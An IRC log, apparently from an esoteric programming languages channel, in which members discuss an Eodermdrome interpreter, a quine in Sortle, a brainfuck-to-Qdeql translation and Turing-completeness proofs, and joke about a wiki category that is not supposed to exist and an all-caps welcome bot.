06:32:15 <elliott> Speaking of Eodermdrome, did anyone ever stop saying they're going to implement it and implement it?
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06:35:02 <elliott> shadwick: If you haven't got to Underload and ///, those two are lesser-known (compared to brainfuck, INTERCAL etc.) gems.
06:35:57 <monqy> if you've gotten to snack,
06:36:30 <elliott> If you've gotten to Snack then you can stop.
06:36:52 <elliott> (If you get to Esme you'll probably forget what you're doing.)
06:49:01 <Sgeo> I like how (lambda () (+ "5" "6")) gives me a warning in SBCL
06:51:17 <Sgeo> It's a good thing./
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07:39:52 <graue> i'm trying to figure out how to write a quine in a language that cannot do arithmetic on characters, nor convert integers to characters
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07:58:05 <shachaf> graue: Is either of those needed to write a quine?
07:59:13 <shachaf> So there you go. "the usual way" :-)
07:59:20 <shachaf> (Or is there a specific language you have in mind?)
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08:01:17 <graue> a common pattern in quines seems to be to have a string that's displayed twice in different forms, e.g. once as an array of character codes and once as a string, or once raw and once with quote marks escaped, or something
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08:02:21 <graue> so here i have q := "something with lots of escaped backslashes and quotes" and i need to iteratively create a version of q with all the escapes reinserted
08:05:43 <shachaf> That's the way it's normally done.
08:06:14 <graue> this programming language is really sick, too (and it's my fault, i created it)
08:07:01 <graue> there's no minus operator, you need to store a value in 2 different places to be able to iteratively do anything with it, it's stack-based but without a swap operator...
08:07:35 <shachaf> That's a lot more constraints than "a language that cannot do arithmetic on characters, nor convert integers to characters"
08:08:06 <graue> well i had a specific language with that property in mind
08:08:28 <graue> Sortle is TC, though, assuming i wrote this program correctly (it seems to work): http://esoteric.voxelperfect.net/files/sortle/src/bct.sort
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09:04:34 <ais523> hey, it's Sunday, isn't it?
09:04:45 <ais523> I thought it was Monday, I'm at work at the moment
09:04:52 <ais523> and I was wondering why there was nobody here
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09:07:25 <pikhq_> 01:59 is followed by 03:00. :(
09:07:44 <graue> yeah, that happened to me too
09:08:10 <graue> or was it two hours ago?
09:13:04 <shadwick> ais523: for eodermdrome, if a command has an input set, would it get a char from stdin, check it against the input set, then check if the match graph is a subgraph of the state? or should it check if the match is a subgraph before consuming input and continuing
09:13:14 <shadwick> ais523: just reading this eodermdrome page
09:13:41 <ais523> shadwick: it only consumes input if it matches, IIRC
09:13:54 <shadwick> this is an interesting design haha
09:14:05 <ais523> as in, matches the input set too
09:14:16 <ais523> if the input isn't in the input set, it isn't consumed even if the subgraph matches
09:16:09 <shadwick> ais523: ok cool, and one more question: the ascii art graph uses pipes to connect the nodes, and the nice "initial state" picture uses single headed arrows.. are the edges one-way/directed?
09:16:24 <ais523> no, they're undirected
09:17:33 <shadwick> you think you'd ever be able to pull of an interpreter for this? haha
09:17:43 <ais523> it's hard to figure out how to do it efficiently
09:17:53 <ais523> although IIRC oklopol tried; I can't remember if he succeeded
09:18:05 <shadwick> it says that's lost to the "mists of time"
09:21:38 <fizzie> I think it did a thing.
09:21:59 <fizzie> I dug up some pastebin-ish snippets of it the other year.
09:22:34 <fizzie> Efficiency wasn't part of the goals of that interpreter, I think.
09:24:04 <shadwick> yeah I think just getting something working would be a priority
09:25:23 <fizzie> 2011-07-22 14:12:41 <fizzie> [2008-07-17 19:06:16] < oklopol> i implemented eodermdrome
09:27:05 <fizzie> Sadly, the only pasted bit I could find was http://www.vjn.fi/pb/p646231414.txt + http://www.vjn.fi/pb/p565155612.txt which doesn't look very complete.
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09:29:14 <shadwick> now don't take this seriously, but I think I'm gonna write a version
09:29:20 <shadwick> got a small basis in Python as aprototype
09:35:22 <graue> totally a change of subject, but: i think i have figured out how to write a quine in sortle!
09:35:51 <shachaf> graue: The last time I looked at this channel that was the subject.
09:35:58 <shachaf> So from my perspective you haven't changed it at all.
09:36:26 <shachaf> graue: I heard you were scary, by the way.
09:36:45 <graue> i'm like a huggy little teddybear
09:36:49 <graue> completely nonthreatening
09:36:49 <shachaf> elliott said you were a scary, scary man.
09:37:09 <shachaf> Unless that was Alan Dipert? No, I think it was you.
09:37:14 <graue> strange, i don't know why he would be scared of me
09:37:42 <graue> other than scared that i would fail to maintain the wiki properly when i hosted it
09:37:51 <graue> but that's not the same as being a scary man
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09:39:46 <hagb4rd> graue: have you written it yet? or is it just the idea for now?
09:39:57 <graue> it is partially written
09:41:58 <graue> it's gonna be 5 lines with the last line being really long
09:42:39 * Sgeo wonders how feasible/infeasible Lispnomic would be
09:42:45 <Sgeo> Makes more sense than HaskellNomic, really
09:44:14 <pikhq_> HaskellNomic? Not making it hard enough.
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09:45:19 <pikhq_> Actually, heck, let's make it worse.
09:45:50 <monqy> snack nomic, esme nomic
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09:51:06 <shadwick> I like that his name is Dagoth Ur
09:51:10 <Sgeo> "You have eaten as a snack right 2 people. Happy?"
09:51:14 <Sgeo> What does that even mean?
09:51:38 <shadwick> that his langauge skills fail in more than just programming?
09:52:17 <Sgeo> Sweet, sweet irony.
09:53:25 <ais523> I seem to remember that the Dagoth at Esolang has the comma in a different place from the Dagoth in Morrowind
09:55:22 <shadwick> haha, I googled "Dagoth Ur, Mad God" in quotes
09:55:29 <shadwick> tons of various wiki user pages for him
09:55:43 <hagb4rd> i didn't even realise that there was a comma
09:56:34 <shadwick> from one of the results' snippets in the search: "Dagoth Ur, Mad God, also known as Jhjnju, DUMG, or simply Dagoth, is an Australian troll and vandal."
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10:06:11 <graue> maaaaan this quine runs SLOW
10:06:30 <graue> it has to go through a long loop replacing all the escaped characters
10:07:10 <shadwick> ais523: I don't see how the example bitwise cyclic tag interpreter code for eodermdrome should work out.. the first move leaves us with the graph "miewehit" and no other actions' math graphs are subgraphs of that
10:09:10 <ais523> let's see… miewehit has a triangle (formed by ieh), once of whose corners is connected to two degree-one nodes, one of whose corners is connected to one degree-one node
10:09:15 <ais523> note that the letters aren't part of the graph itself
10:10:01 <graue> it takes 714 expression evaluations and like 5 minutes to execute, but it prints its own goddamn source exactly
10:10:22 <shadwick> ais523: k thanks. I'm trying to look into this more
10:11:06 <ais523> and byanad buguramat requires a degree-at-least-3 node connected to two degree-exactly-one nodes, and to be connected by a degree-exactly-two node to any other node
10:11:41 <ais523> so the (1) and (0) lines should both match the initial state
10:12:03 <graue> nortti, yeah, sortle
10:12:34 <shadwick> ais523: ok I think I see what you mean. I just gotta draw this stuff out haha
10:12:58 <ais523> shadwick: there are some ASCII art drawings linked from the article, might save you the trouble
10:14:46 <shadwick> ais523: hah I've gotta read the Wiki article on Graph isomorphism now as well. I'm not very well versed in this stuff at all
10:14:52 <Phantom_Hoover> Hey, wait, I wonder if elliott will let us create Category:Shameful now.
10:15:02 <graue> oh my god this quine is awesome
10:15:08 <ais523> Phantom_Hoover: it's funnier as a redlink
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10:16:47 <graue> ais523: hold on, i made a slight modification to make it shorter
10:17:01 <graue> and now i have to test it to make sure i didn't mess up (it took 2m39s to run last time)
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10:20:37 <graue> http://pastebin.ca/2126776
10:22:23 <graue> you can run it using http://esoteric.voxelperfect.net/files/sortle/impl/sortle.pl
10:22:38 <graue> the other interpreter written in C is hopelessly buggy, so it won't work
10:23:07 <zzo38> Yes perhaps Category:Shameful is better as a link to a nonexistent page
10:27:14 <zzo38> I would think the most basic level of ephemeris software interface would be a function taking a date/time, major object number, and minor object number as input; and as output you have three sets of XYZ coordinates: the center, the north pole, and the longitude reference. And then apply other geometry and trigonometry and whatever to make up the other stuff it should be sufficient, even for rotation.
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10:28:43 <hagb4rd2> zzo38: can you make it work as version for marsians too? :P
10:29:36 <zzo38> hagb4rd2: The way I have described it, yes it works for Martians too. But I do not know of implementation of such a thing as this, however.
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10:32:02 <zzo38> It should be easy enough to subtract XYZ coordinates to center it on any planet, sun, or moon; from there you can convert to angles.
10:46:44 <zzo38> However I don't really know a lot about ephemeris calculations; I am simply describing a programming interface which could be implemented by any ephemeris program, and then everything else can be defined in a common way from that.
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10:50:29 <zzo38> (Possible things to implement in terms of the basic function: sidereal time, apparent positions (taking speed of light into account), precession, ecliptic and equatorial coordinates, houses, phase of moon, horizon coordinates, etc)
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10:57:07 <zzo38> class EphemerisClass x where { openEphemeris :: String -> IO x; closeEphemeris :: x -> IO (); accessEphemeris :: EphTime -> ObjMajor -> ObjMinor -> x -> IO (Either EphemerisError (XYZ, XYZ, XYZ)); }; data Ephemeris = Ephemeris { getEphemeris :: forall x. EphemerisClass x => x }; might be specification of this interface in Haskell.
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11:11:31 <Sgeo> `WELCOME tzxn3
11:11:38 <HackEgo> TZXN3: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
11:12:31 <Sgeo> TZXN3, THAT LINK IS BROKEN, YOU SHOULD GO TO http://ESOLANGS.ORG/wiki/Main_Page INSTEAD.
11:12:47 <tzxn3> WHY ARE WE SHOUTING
11:12:59 <Sgeo> BECAUSE WE CAN
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11:23:20 <Sgeo> (welcome MoALTz)
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11:37:11 <Sgeo> Hitaneb. Did you see the most reeetn update?
11:37:34 <Taneb> The one with Lord English?
11:38:15 <Taneb> I reckon Andrew Hussie's avatar is going to be killed
11:45:30 <Phantom_Hoover> Not a particularly insightful theory, given that LE was holding his severed head.
11:46:08 <Sgeo> http://paste.lisp.org/display/128272 does this make any sense?
11:46:11 <Sgeo> To me, it doesn't
11:46:41 <Taneb> That's Robot Hussie.
11:46:45 <Sgeo> Usual definitions just mean doing the test and letting it be the result of the test.
11:46:50 <Taneb> Robot Hussie may not be Hussie
11:46:54 <Sgeo> This definition does something rather different, as far as I can tell
11:47:13 <Sgeo> Using it within the body of the else, unless I'm mistaken, will result in the test being executed again.
11:47:33 <Sgeo> Assuming that it even runs, considering ... oh, it will run
11:47:55 <ion> Ooh, no wonder the name Andrew Hussie sounded familiar. He’s half of the group who made http://www.youtube.com/playlist?list=PL9CCCF2C09E92679B
11:48:07 <ion> What’s his avatar?
11:48:54 <Taneb> Character in MS Paint Adventures, which he writes
11:53:51 <graue> i just wrote a digital root program in sortle
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11:54:36 <graue> so it's got a digital root, quine, BCT implementation and fibonacci
11:54:58 <graue> http://esoteric.voxelperfect.net/files/sortle/src/digroot.sort
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11:57:57 <graue> i have looked at your work on qdeql with great interest
11:58:08 <graue> but not with particularly great comprehension
11:59:19 <graue> what was the precise flaw in my 6-year-old reasoning for declaring it not TC?
12:00:11 <oerjan> as far as i could see, the idea that you couldn't get back to a spot without knowing the precise length of queue to traverse
12:00:23 <graue> so how do you do that?
12:01:17 <oerjan> well my first idea after realizing that weakness was that if you have a string of an unknown number of copies of 255 0 0, then you can pass over all of them with \\/\//
12:01:39 <oerjan> (you will notice that's the default command for the data section in the table)
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12:03:41 <oerjan> there's a problem with that, though - it gobbles up a 0 at the end, which is awkward to replace. the entire factory construction grew out of the attempt to replenish that zero. (i'm still not entirely convinced there isn't a simpler way.)
12:04:29 <graue> ah, i see... you have an arbitrary length string of "nonzero 0 0", terminated by an extra 0
12:05:10 <oerjan> however the factory had other advantages, it can both be adjusted to produce almost as many zeros as you want, and it can absorb garbage 255's at the other end.
12:06:37 <graue> is there any particular reason you use numbers other than 255 and 0?
12:07:55 <oerjan> graue: yes, the factory depends on being able to get _rid_ of its 255 again, which can only be done by decrementing them.
12:08:33 <oerjan> that's also the only way to "release" the zeros at produces at the left end.
12:10:06 <oerjan> basically my problem was that the only way to produce zeros is to the right of a non-zero, which doesn't help when you want to supply zeros toward the left.
12:11:55 <oerjan> (i have not found a way to produce them fast using just non-zeros at the end of the data loop, but i haven't proved that it's completely impossible, either.)
12:12:14 <graue> what's "fast enough"?
12:13:25 <oerjan> fast enought to replenish what the data loop gobbles up.
12:15:16 <graue> so is your bf to qdeql translator fully complete/correct now?
12:16:18 <oerjan> as far as i know, yes. it's for a fixed (but arbitrary) number of cells, as stated. also it will crash if you try to decrement a 0. (i _can_ fix that but it makes - take two cycles instead of one.)
12:17:02 <graue> huh, that's really cool
12:18:25 <Sgeo> Is there a way to translate infinite cells with fixed size to finite cells with infinite size easily?
12:19:02 <graue> that's the question i was thinking about (but s/infinite/unbounded/g)
12:19:09 <nortti> Sgeo: I am currently working on that
12:19:12 <oerjan> Sgeo: there's a link to such a construction in the brainfuck article, i think
12:20:11 <oerjan> graue: however there is probably a more direct way, though. you could make the data section have the form 255 0 b1 255 0 0 b2 ... instead, and pass over with \\/\/=/.
12:21:06 <oerjan> i figured that would make each brainfuck command more complicated though - with a two-stack construction, you need a multi-cycle loop just to move bytes for a > or <
12:21:35 <oerjan> *255 0 0 b1 255 0 0 b2 ...
12:21:55 <graue> so b1 and b2 would be two adjacent bytes on bf's tape?
12:22:29 <graue> that would be cool
12:22:43 <oerjan> and one of the stacks would probably store 255 0 0 -b1 instead, that makes copying slightly more efficient i think.
12:23:03 <graue> the brainfuck article has frans faase's reduction from 5-register UTMs in 5-cell bf, and your reduction from iterated collatz functions to 3-cell bf
12:23:23 <graue> but no procedure to translate from unbounded-cell bf to n-cell bf
12:23:49 <oerjan> i'm sure i've seen it, maybe it is linked from faase's page?
12:24:14 <nortti> does anyone know how to do integer division by 2 with bf using 2 cells?
12:24:38 <graue> oerjan: from a quick look doesn't seem to be
12:26:26 <oerjan> nortti: try my [[Collatz function]] converter, it can do that.
12:28:28 <oerjan> darn now faase's pages don't load
12:28:51 <graue> i have http://www.iwriteiam.nl/Ha_bf_Turing.html up
12:32:39 <oerjan> graue: i guess he starts with turing machines, although translating from bounded cell bf to turing machines is sort of trivial.
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12:42:43 <oerjan> hm actually it may be he's just handling _one_ particular TM.
12:47:21 <oerjan> (by trivial i mean: make each position in the bf program a TM state, and then the transition table basically writes itself.)
12:48:08 <oerjan> also make each byte value a symbol.
12:57:09 <nortti> I tried to make a conversion table from infinite 1bit cells bf to 3 unbound cells bf and now my brain hurts
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12:58:05 <oerjan> nortti: perhaps interleaving the 1bit cells for each unbound cell?
12:58:33 <oerjan> unary would also make it easier, i think.
12:59:26 <nortti> oearjan: I tried to create a tape using two stacks but it didn't really work, because I couldn't get moving item from stack to another work
13:00:18 <oerjan> oh wait _from_ infinite 1bit, hm.
13:00:44 <nortti> I needed at least 6 cells
13:01:19 <oerjan> nortti: if you want to go down to 3 cells, you need to go via something like fractran.
13:01:50 <oerjan> and mind you it's still awkward. i still don't know how to do arbitrary _output_.
13:02:04 <oerjan> (or any interleaved input/output.)
13:06:09 <graue> oerjan: before you got here, i was working on a DIFFERENT language i invented in 2005, sortle
13:06:19 <graue> and here are the fruits of my labors: http://esolangs.org/wiki/Sortle#Examples
13:09:19 <graue> i'm pretty happy about that quine
13:17:50 <nortti> is the bf to qdeql cell number limit fixed to 3 cells or can it use be limited to any given number of cells
13:19:16 <cheater_> oerjan: what have you done? http://www.nature.com/news/lsd-helps-to-treat-alcoholism-1.10200
13:19:32 <cheater_> The study1, by neuroscientist Teri Krebs and clinical psychologist Pål-Ørjan Johansen of the Norwegian University of Science and Technology in Trondheim, is the first-ever quantitative meta-analysis of LSD–alcoholism clinical trials.
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13:20:00 <oerjan> istr seeing that Pål-Ørjan guy when googling myself
13:20:54 <cheater_> the burden of being the namesake of a celebrity
13:20:58 <oerjan> nortti: any fixed number, the haskell converter takes it as a command line argument.
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13:21:12 <itidus21> the important thing is cheater wasn't googling you, rather he was seeking a cure for his alcoholism
13:22:48 <oerjan> nortti: mind you the higher the number, the more the translation blows up (because it often has to rotate through all the cells before doing another real action)
13:24:09 <oerjan> <nortti> wasn't false's TCnes also proven just recently?
13:24:20 <oerjan> that's was a site effect of the underload one, actually
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13:48:03 <Phantom_Hoover> In the Star Trek universe, God is represented primarily through the medium of passport photos.
13:48:39 <oerjan> in _all_ passport photos, surely.
13:52:31 <Phantom_Hoover> oerjan, how better to know the mind, or at least the face unobscured by hair and glasses, of God?
13:52:41 <hagb4rd2> i loved the southpark version of god, who himself pretends to be a buddhist
13:58:55 <oerjan> `addquote <zzo38> I think we are sort of this insane, and also sort of not as much as insane, and also sort of a bit more insane than that, and also somewhat more various other thing at various times whatever you are discussing at that time
13:58:58 <HackEgo> 822) <zzo38> I think we are sort of this insane, and also sort of not as much as insane, and also sort of a bit more insane than that, and also somewhat more various other thing at various times whatever you are discussing at that time
14:04:54 <graue> oerjan: what got you interested in qdeql?
14:05:19 <oerjan> graue: your edit where you added the FSA category :P
14:06:38 <graue> you know, when i did that i was basing it off the article text that said qdeql was equivalent to smetana
14:07:11 <graue> which at the time, i could have sworn was written by chris pressey
14:07:30 <graue> when i viewed the history and saw that paragraph was actually written by me, i was astonished
14:09:51 <graue> yeah, i wouldn't have been so quick to assume it was accurate, if i knew i had written it myself
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14:51:09 <itidus21> [PROG][WRITE:"Hello, world!"][ENDPROG]
14:52:26 <Jafet> What do you want to write with? bfnG ['?' for help]:
15:09:28 <itidus21> i get some very weird google image search responses for bfn
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15:17:46 <Jafet> > filter (not.flip elem "aeiou") "befunge"
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16:51:14 <hagb4rd2> how can i search the log again?
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16:54:04 <HackEgo> 2010-04-26.txt:07:29:25: <pikhq> Could be worse. Could be Oklahoma, and get a bunch of cicadas flying in...
16:57:01 <olsner> not wildcards, but regexps
16:59:11 <HackEgo> 2012-03-11.txt:16:58:55: <hagb4rd> `log .*elliott.*cicadas.*
16:59:43 <nortti> olsner: `log *elliott*cicadas* look like it's using wildcards
17:02:08 <zzo38> You can put square brackets around one of the letters to avoid accessing itself
17:02:56 <hagb4rd> `log .*[hagb4rd].*elliott.*cicadas.*
17:04:12 <zzo38> No, around a single letter.
17:04:17 <nortti> `log *[hagb4rd]*elliott*cicadas*
17:04:45 <zzo38> `log .*[h]agb4rd.*elliott.*cicadas.*
17:05:01 <HackEgo> 2012-03-11.txt:17:04:17: <nortti> `log *[hagb4rd]*elliott*cicadas*
17:06:22 <olsner> `log PROCEDURE DIVISION. SEARCH 'cicadas'. STOP RUN.
17:06:29 <HackEgo> 2012-03-11.txt:17:06:22: <olsner> `log PROCEDURE DIVISION. SEARCH 'cicadas'. STOP RUN.
17:06:53 <olsner> although it works just as well as wildcards :>
17:07:23 <hagb4rd> `log .*[!4].*elliott.*cicadas.*
17:07:41 <HackEgo> 2012-03-11.txt:16:53:42: <hagb4rd> `log *elliott*cicadas*
17:08:00 <hagb4rd> what is the regexp for NOT
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18:15:12 <elliott> someone just created [[Category:Shameful]] again...
18:17:57 <elliott> No, [[Category:Shameful]] has far more stringent standards (and does not officially exist).
18:18:04 <elliott> http://esolangs.org/wiki/Category:Shameful
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18:24:26 <zzo38> Not is what we have not got!
18:31:11 <Sgeo> What did the page say?
18:32:04 <elliott> This time, it was "Yes, shameful.".
18:32:10 <elliott> Last time, it was "Ain't it a shame?".
18:33:07 <elliott> 11:11:31: <Sgeo> `WELCOME tzxn3
18:33:07 <elliott> 11:11:38: <HackEgo> TZXN3: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
18:33:07 <elliott> 11:12:31: <Sgeo> TZXN3, THAT LINK IS BROKEN, YOU SHOULD GO TO http://ESOLANGS.ORG/wiki/Main_Page INSTEAD.
18:33:11 <elliott> Sgeo: HE'S BEEN HERE BEFORE YOU IDIOT
18:33:53 <HackEgo> SGEO: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
18:34:25 <Sgeo> That link is still broken
18:35:51 <elliott> Phantom_Hoover: DID YOU CREATE [[CATEGORY:SHAMEFUL]]?
18:41:56 <RocketJSquirrel> elliott: YOU SHOULD ADD A REDIRECT FOR THAT ONE URL JUST SO THAT `WELCOME WORKS BETTER.
18:42:07 <RocketJSquirrel> Phantom_Hoover: I'm competing with you in nick length now.
18:42:15 <Phantom_Hoover> elliott, so whoising the IP should show if it's an Edinburgh address or not.
18:42:50 <elliott> Phantom_Hoover: ASKING YOU WAS EASIER.
18:43:01 <RocketJSquirrel> The discovery that this nick was free brought great joy to me and my aviator's helmet.
18:43:02 <elliott> RocketJSquirrel: I ALREADY SAID THAT I'M GOING TO MAKE IT A (READ-ONLY) VIEW ONTO THE WIKI WHERE EVERYTHING IS UPPERCASED.
18:43:24 <elliott> IF ANYONE KNOWS A PROGRAM FOR TRANSFORMING HTML IN THIS WAY (WITHOUT E.G. DISTURBING THE CONTENTS OF SCRIPT TAGS), PLEASE LET ME KNOW.
18:45:32 <olsner> i.e. use a font where lower-case characters look uppercase
18:45:35 <elliott> RocketJSquirrel: FORBIDDEN
18:45:42 <elliott> olsner: Oh wait, I can just text-transform: uppercase...
18:45:45 <elliott> But what RocketJSquirrel said.
18:53:30 * Phantom_Hoover is unclear on whether f.lux even works on non-APT systems.
18:53:44 <elliott> Oh yeah, it definitely depends integrally on a package manager.
18:53:51 <elliott> It uses it to tell the time.
18:55:01 <elliott> Phantom_Hoover: http://aur.archlinux.org/packages.php?ID=41229
18:55:12 <fizzie> Oh no my name was mentioned. Is something the up?
18:57:50 <Phantom_Hoover> fizzie, can you use your awesome powers to glue the entire Reddit Epic Thread into one page?
18:58:02 <elliott> Phantom_Hoover: Hey, I was going to do that.
18:58:28 <fizzie> I think I was supposed to, already, but got sidetracked and forgot.
18:58:59 <fizzie> At least it sounds slightly familiar.
18:59:05 <Phantom_Hoover> Children will laugh at you and your woman will leave you for an elf.
18:59:19 <elliott> fizzie: It's illegal to remember something if the person reminding you only remembered it because they saw me mention it.
18:59:24 <Phantom_Hoover> Because he is more manly than you (not because she was a lesbian, that wouldn't be as bad).
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19:04:42 * Phantom_Hoover discovers that the f.lux from that package has no documentation.
19:05:19 <Deewiant> Use redshift, it has a man page.
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19:07:21 <elliott> Phantom_Hoover: * Phantom_Hoover discovers that the f.lux from that package has no documentation.
19:08:12 <elliott> Phantom_Hoover: pacman -Ql flux-gui | grep '/bin'
19:08:16 <elliott> Run the one that isn't xflux or whatever.
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19:47:29 <mroman> how do you write broozes, bruces, brooses, bruses o_O
19:47:54 <mroman> The wound kinda thing.
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19:51:55 <lambdabot> elliott: You have 2 new messages. '/msg lambdabot @messages' to read them.
19:53:18 <mroman> English most be the only language in which it nearly impossible to get the writing from the reading :)
19:54:00 <nortti> mroman: what do you mean?
19:54:35 <mroman> You have to many things which almost sound identical.
19:55:09 <mroman> I'm pretty sure, broozes, bruces, brooses, bruses would be pronounced almost exactly like bruises ;)
19:55:21 <nortti> you mean like too and to?
19:56:27 <mroman> If someone tells you a word, which es not an actual english word
19:56:31 <mroman> Could you write it correctly?
19:56:44 <mroman> Which means, you have to guess the writing from the pronounciation.
19:56:56 <nortti> mroman: what is your native language?
19:58:42 <nortti> Oh. My native language is Finnish, and I have never really had that much of a problem with it
19:59:07 <mroman> I never would have thought of "bruises"
19:59:25 <mroman> I searched for "broozes, bruces, brooses, bruses, bruzes" and more.
19:59:48 <mroman> When I hear an english word, I can't look it up in a dictionary.
19:59:50 <Deewiant> Googling "brooses" gives "Showing results for bruises"
20:00:22 <mroman> Even though I know what it means and how it is pronounced, I can't derive the writing.
20:00:38 <elliott> it's impossible to derive the spelling of a word from its pronunciation in general in English
20:00:44 <elliott> so it's not like you're missing anything
20:01:00 <elliott> but what Deewiant said, you can throw a terribly phonetically-pronounced word into Google and it'll usually correct it :P
20:01:02 <mroman> That drives me crazy :(
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20:02:09 <mroman> That's why you have spelling bees ;)
20:02:16 <mroman> Would make no sense in german.
20:02:25 <nortti> elliott: I can usually do that. I have no idea why, but it is almost allways correct
20:04:00 <elliott> nortti: That's not really "deriving" so much as intuition... sure, there are guidelines, but no hard rules :P
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20:05:06 <oerjan> <RocketJSquirrel> elliott: YOU SHOULD ADD A REDIRECT FOR THAT ONE URL JUST SO THAT `WELCOME WORKS BETTER. <-- /me agrees with RocketJSquirrel
20:05:40 <elliott> oerjan: See the later, better idea that I already planned :P
20:05:51 -!- calamari has joined.
20:05:57 <oerjan> let me guess, you're going to make it work for all wiki urls.
20:06:15 <oerjan> (i half-guessed that even before you answered)
20:06:49 <oerjan> yes, except for the first letter
20:07:16 <elliott> oerjan: <oerjan> let me guess, you're going to make it work for all wiki urls.
20:07:25 <elliott> well, yes, but also I'm going to make it uppercase all the text on the page
20:08:02 <elliott> nortti: because it's /WIKI/
20:08:39 <nortti> what if someone uses /WiKi/ ?
20:09:20 <oerjan> ThAt CoUlD gEt AwKwArD
20:09:29 <RocketJSquirrel> What if someone uses /fast/? You'll have to translate all the pages from Hawaiian to English.
20:09:53 <elliott> "why does POSIX have recursive mutexes? Because of a dare. (groups.google.com)"
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20:15:21 <lament> OOOOOOOOOOOOOOOOOOOOOO
20:15:34 <HackEgo> LAMENT: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
20:15:56 <oerjan> if the link still doesn't work, blame elliott
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20:21:34 <elliott> If the elliott still doesn't work, blame the link.
20:21:50 <ion> Don’t blame elliott, blame ELLIOTT.
20:23:30 * oerjan recalls when "blame canada" was nominated for an oscar
20:23:56 <oerjan> i think elliott wasn't born then. or maybe barely.
20:24:22 <lament> it's not as good as unclefuka
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20:27:12 <elliott> oerjan: Thank you, I was hoping someone other than me would take care of that message.
20:27:38 <elliott> http://esolangs.org/wiki/User_talk:Ehird#.22this_category_doesn.27t_exist.2C_so_it_shouldn.27t_need_a_page.22
20:27:42 <elliott> in resp. to (Deletion log); 18:24 . . Ehird (Talk | contribs | block) deleted "Category:Shameful" (this category doesn't exist, so it shouldn't need a page)
20:27:58 <Sgeo> Although I shouldn't have asked, found it myself
20:28:27 <elliott> I had to sacrifice three innocent souls to give you those links. :(
20:29:01 <lament> Category:Shameful should just redirect to Category:Unimplemented
20:29:45 <elliott> Thus making Eodermdrome shameful, but not Snack.
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20:30:57 <shadwick> lament: the only problem is some shameful languages are (shamefully) implemented
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20:33:40 <nortti> wasn't someone working on FURScript implementation on Visual Basic?
20:34:22 <Sgeo> Someone should implement Esme.
20:34:29 <elliott> The person who designed this language was 100% serious about it and the vb6 compiler, but I think he got as far as a text box and a copyright notice before going back to programming his graphics calculator. --Einsidler 10:44, 24 Nov 2006 (UTC)
20:35:22 <shadwick> hahaha "[DIRFORMAT="DIRECTORY","BYPASSSECURITY?"]"
20:36:11 <shadwick> has anyone talked to 'EvincarOfAutumn' at all recently? He made Alchemy in 2008 and it was quite a neat setting I think
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20:38:29 <oerjan> hm i didn't really notice him disappearing
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20:38:57 <shadwick> his page still says he wants to get back into it, but it was last updated 4 years ago
20:39:13 <shadwick> I was gonna try to contact him to ask a bit more about Alchemy. Would be fun to write an interpreter for it
20:39:17 <oerjan> well we've seen evincar more recently than that, on irc
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20:40:34 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.26714
20:40:49 <shadwick> oerjan: thanks. I'm just checking google and he has a twitter so I can contact him there
20:41:05 <oerjan> argh it cut off due to too many lines
20:41:44 <oerjan> `pastelogs -!- evincar
20:41:52 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.27434
20:45:11 <oerjan> last i recall he did was an argument substitution language that couldn't possibly work because of extreme ambiguity
20:46:13 <oerjan> ...probably been years since that too
20:46:56 <shadwick> sometime I'll get around to asking him some questions about Alchemy that I think aren't detailed properly / are missing on the Wiki page for it
20:47:07 <shadwick> and then maybe I'd write an interpreter for it
20:48:54 <elliott> <oerjan> hm i didn't really notice him disappearing
20:49:07 <elliott> oerjan: You could say he got sick of us, if you wanted to reverse the subject and object of the truth.
20:49:41 <elliott> Last time he was in here was after a very wrong blog post of his got on reddit.
20:49:43 <oerjan> diplomatic is very elliott.
20:54:24 <elliott> Hey oerjan, I've made you an administrator so you can ensure [[Category:Shameful]]'s continued nonexistence!
20:54:45 <lament> can't you just make it a special case in the source code
20:55:09 <oerjan> isn't there any kind of protection against creation?
20:55:34 <elliott> Yeah, you can protect pages that don't exist... but that would be official recognition.
20:57:15 <elliott> I could ban deletion by default, and then permit every other possible page title in existence.
20:57:36 <lament> i was just about to suggest that
20:59:35 <elliott> I've made oerjan an administrator so he can get right on doing that.
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22:26:50 <ion> BEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEP
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22:50:53 <oerjan> now much expanded qdeql translation explanation
22:51:15 <oerjan> it remains to be seen if anyone can understand it now.
22:52:19 <oerjan> also, someone tell User:JiminP about preview.
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23:05:22 <elliott> oerjan: ok. the someone is: you!
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23:30:29 <elliott> oerjan: ok seriously yell at him
23:30:38 <elliott> i like how he's started to mark some of them as minor
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00:40:41 <josefnpat_> Hey guys, after many years of loving esoteric languages (like brainfuck) I've written my own, and am interested in knowing if there is a submission process, or if I just add a page on the wiki about it.
00:41:07 <HackEgo> josefnpat_: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
00:41:25 <shadwick> you guys get the capital version working yet?
00:41:51 <RocketJSquirrel> josefnpat_: You should look at the categories and try to categorize it properly.
00:42:20 <shadwick> josefnpat_: I like when the pages have enough details that you could write an interpreter/compiler for that language without ambiguities
00:42:34 <josefnpat_> I've written a interpreter for it already
00:42:57 <josefnpat_> I need a bit more doc before I contribute it, but it's almost done.
00:45:30 <josefnpat_> RocketJSquirrel, where is the catagories page? I am not very good with wikimedia.
00:45:59 <RocketJSquirrel> http://esolangs.org/w/index.php?title=Special:Categories&limit=500
00:46:00 <shadwick> http://esolangs.org/wiki/Special:Categories
